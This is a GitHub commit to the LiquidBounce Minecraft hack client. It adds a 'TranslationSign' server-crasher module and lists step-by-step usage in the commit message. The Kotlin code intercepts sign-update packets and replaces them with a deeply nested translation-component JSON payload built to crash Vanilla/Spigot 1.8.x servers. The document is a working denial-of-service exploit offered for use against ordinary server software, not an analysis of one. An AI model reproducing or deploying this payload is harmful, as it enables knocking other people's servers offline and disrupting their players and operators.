Skip to content

Commit

Permalink
Translation sign crasher (CCBlueX#2598)
Browse files Browse the repository at this point in the history
This crasher can crash Minecraft 1.8.x servers (like Spigot or PaperSpigot) using the translation component in signs.

Although I haven't personally tested this module in LiquidBounce, I'm sure it functions since it's the same in my own client.
The exploit was originally found by @Outfluencer and then found by others including me and now has been leaked.

Steps to use:
 - Toggle the ServerCrasher module with the right mode
 - Place a sign
 - Press done
 - Should've crashed.

---------

Co-authored-by: 1zuna <[email protected]>
  • Loading branch information
Lucy Luna and 1zun4 authored Mar 25, 2024
1 parent 9bd4ca5 commit adad3dd
Show file tree
Hide file tree
Showing 2 changed files with 46 additions and 0 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -44,6 +44,7 @@ object ModuleServerCrasher : Module("ServerCrasher", Category.EXPLOIT, disableOn
PromoteExploit,
Log4jChatExploit,
Log4jTellExploit,
TranslationSignExploit,
))

}
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
package net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.exploits

import net.ccbluex.liquidbounce.config.Choice
import net.ccbluex.liquidbounce.config.ChoiceConfigurable
import net.ccbluex.liquidbounce.event.events.PacketEvent
import net.ccbluex.liquidbounce.event.handler
import net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.ModuleServerCrasher
import net.ccbluex.liquidbounce.utils.client.sendPacketSilently
import net.minecraft.network.packet.c2s.play.UpdateSignC2SPacket

/**
* Translation sign exploit
* Works on Vanilla/Spigot 1.8.x
*
* Originally found by https://github.com/Outfluencer and then found by me (cuddlycatgirl) and some others.
*/
object TranslationSignExploit : Choice("TranslationSign") {

override val parent: ChoiceConfigurable<Choice>
get() = ModuleServerCrasher.exploitChoices

private const val TEXT = "{\"translate\":\"%2\$s%2\$s%2\$s%2\$s%2\$s\"," +
"\"with\":[\"\",{\"translate\":\"%2\$s%2\$s%2\$s%2\$s%2\$s\"," +
"\"with\":[\"\",{\"translate\":\"%2\$s%2\$s%2\$s%2\$s%2\$s\"," +
"\"with\":[\"\",{\"translate\":\"%2\$s%2\$s%2\$s%2\$s%2\$s\"," +
"\"with\":[\"\",{\"translate\":\"%2\$s%2\$s%2\$s%2\$s%2\$s\"," +
"\"with\":[\"\",{\"translate\":\"%2\$s%2\$s%2\$s%2\$s\"," +
"\"with\":[\"\",{\"translate\":\"%2\$s%2\$s%2\$s%2\$s\"," +
"\"with\":[\"\",{\"translate\":\"%2\$s%2\$s%2\$s%2\$s\"," +
"\"with\":[\"a\", \"a\"]}]}]}]}]}]}]}]}"

@Suppress("unused")
private val packetHandler = handler<PacketEvent> { event ->
val original = event.packet

if (original is UpdateSignC2SPacket) {
val packet = UpdateSignC2SPacket(original.pos, original.isFront, TEXT, "", "", "")

// Keeps from repeating
sendPacketSilently(packet)
event.cancelEvent()
}
}

}

0 comments on commit adad3dd

Please sign in to comment.